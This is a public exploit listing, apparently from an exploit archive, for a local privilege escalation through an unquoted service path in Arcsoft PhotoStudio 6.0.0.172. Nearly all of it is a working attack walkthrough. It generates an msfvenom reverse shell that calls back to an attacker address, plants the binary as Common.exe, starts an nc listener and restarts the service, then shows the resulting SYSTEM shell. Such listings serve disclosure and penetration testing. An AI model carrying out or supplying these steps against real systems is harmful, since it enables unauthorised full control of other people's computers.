Share
## https://sploitus.com/exploit?id=PACKETSTORM:172003
##########################################################################  
# #  
# Exploit Title: Arcsoft PhotoStudio 6.0.0.172 - Unquoted Service Path #  
# Date: 2023/04/22 #  
# Exploit Author: msd0pe #  
# Vendor Homepage: https://www.arcsoft.com/ #  
# My Github: https://github.com/msd0pe-1 #  
# #  
##########################################################################  
  
Arcsoft PhotoStudio:  
Versions =< 6.0.0.172 contains an unquoted service path which allows attackers to escalate privileges to the system level.  
  
[1] Find the unquoted service path:  
> wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """  
  
ArcSoft Exchange Service ADExchange C:\Program Files (x86)\Common Files\ArcSoft\esinter\Bin\eservutil.exe Auto  
  
[2] Get informations about the service:  
> sc qc "ADExchange"  
  
[SC] QueryServiceConfig SUCCESS  
  
SERVICE_NAME: ADExchange  
TYPE : 10 WIN32_OWN_PROCESS  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 0 IGNORE  
BINARY_PATH_NAME : C:\Program Files (x86)\Common Files\ArcSoft\esinter\Bin\eservutil.exe  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : ArcSoft Exchange Service  
DEPENDENCIES :  
SERVICE_START_NAME : LocalSystem  
  
[3] Generate a reverse shell:  
> msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f exe -o Common.exe  
  
[4] Upload the reverse shell to C:\Program Files (x86)\Common.exe  
> put Commom.exe  
> ls  
drw-rw-rw- 0 Sun Apr 23 04:10:25 2023 .  
drw-rw-rw- 0 Sun Apr 23 04:10:25 2023 ..  
drw-rw-rw- 0 Sun Apr 23 03:55:37 2023 ArcSoft  
drw-rw-rw- 0 Sun Apr 23 03:55:36 2023 Common Files  
-rw-rw-rw- 7168 Sun Apr 23 04:10:25 2023 Common.exe  
-rw-rw-rw- 174 Sun Jul 24 08:12:38 2022 desktop.ini  
drw-rw-rw- 0 Sun Apr 23 03:55:36 2023 InstallShield Installation Information  
drw-rw-rw- 0 Thu Jul 28 13:00:04 2022 Internet Explorer  
drw-rw-rw- 0 Sun Jul 24 07:27:06 2022 Microsoft  
drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 Microsoft.NET  
drw-rw-rw- 0 Sat Apr 22 05:48:20 2023 Windows Defender  
drw-rw-rw- 0 Sat Apr 22 05:46:44 2023 Windows Mail  
drw-rw-rw- 0 Thu Jul 28 13:00:04 2022 Windows Media Player  
drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 Windows Multimedia Platform  
drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 Windows NT  
drw-rw-rw- 0 Fri Oct 28 05:25:41 2022 Windows Photo Viewer  
drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 Windows Portable Devices  
drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 Windows Sidebar  
drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 WindowsPowerShell  
  
[5] Start listener  
> nc -lvp 4444  
  
[6] Reboot the service/server  
> sc stop "ADExchange"  
> sc start "ADExchange"  
  
OR  
  
> shutdown /r  
  
[7] Enjoy !  
192.168.1.102: inverse host lookup failed: Unknown host  
connect to [192.168.1.101] from (UNKNOWN) [192.168.1.102] 51309  
Microsoft Windows [Version 10.0.19045.2130]  
(c) Microsoft Corporation. All rights reserved.  
  
C:\Windows\system32>whoami  
  
nt authority\system